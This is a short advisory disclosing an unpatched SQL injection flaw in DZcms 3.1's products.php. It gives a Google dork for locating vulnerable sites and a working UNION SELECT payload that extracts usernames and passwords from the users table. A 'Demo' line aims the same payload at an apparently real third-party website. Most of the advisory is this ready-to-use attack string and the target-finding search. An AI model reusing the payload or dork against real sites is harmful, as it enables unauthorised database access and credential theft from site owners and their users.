DZcms version 3.1 suffers from a remote SQL injection vulnerability in products.php.
3625a663d32f09d2bbaeb82eb5bf7087c73519bd5a02e5b64a62410ad0443e82
Application: DZcms v.3.1
Vendor Name: CyDezines
Vendor Url: http://www.cydezines.com
Bug Type: dzCMS SQL Injection Vulnerability
Exploitation: Remote
Severity: High
Solution Status: Unpatched
Google Dork: "Powered by DZcms"
POC: http://www.demo.com/products.php?pcat=1'+union+select+all+convert(group_concat(username,0x3a,password)%20using%20latin1),2,3,4,5+from+users/*
Demo:
http://www.psgdynamicsystems.com/products.php?pcat=1'+union+select+all+convert(group_concat(username,0x3a,password)%20using%20latin1),2,3,4,5+from+users/*
Credits: Glafkos Charalambous
glafkos [at] astalavista [dot] com